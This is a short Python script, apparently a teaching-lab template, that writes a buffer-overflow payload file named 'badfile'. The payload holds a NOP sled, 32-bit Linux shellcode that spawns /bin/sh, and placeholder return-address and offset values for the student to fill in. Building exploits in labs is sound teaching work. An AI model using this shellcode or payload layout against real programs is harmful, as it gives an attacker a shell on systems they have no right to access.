#!/usr/bin/python3
import sys

shellcode= (
   "\x31\xc0"    # xor   eax, eax
   "\x50"        # push  eax
   "\x68""//sh"  # push  0x68732f2f
   "\x68""/bin"  # push  0x6e69622f
   "\x89\xe3"    # mov   ebx, esp
   "\x50"        # push  eax
   "\x53"        # push  ebx
   "\x89\xe1"    # mov   ecx, esp
   "\x31\xd2"    # xor   edx, edx
   "\x31\xc0"    # xor   eax, eax
   "\xb0\x0b"    # mov   al, 0x0b
   "\xcd\x80"    # int   0x80
).encode('latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

# Put the shellcode at the end
start = 517 - len(shellcode) 
content[start:] = shellcode

##################################################################
ret    = 0xAABBCCDD   # replace 0xAABBCCDD with the correct value
offset = 0            # replace 0 with the correct value

content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
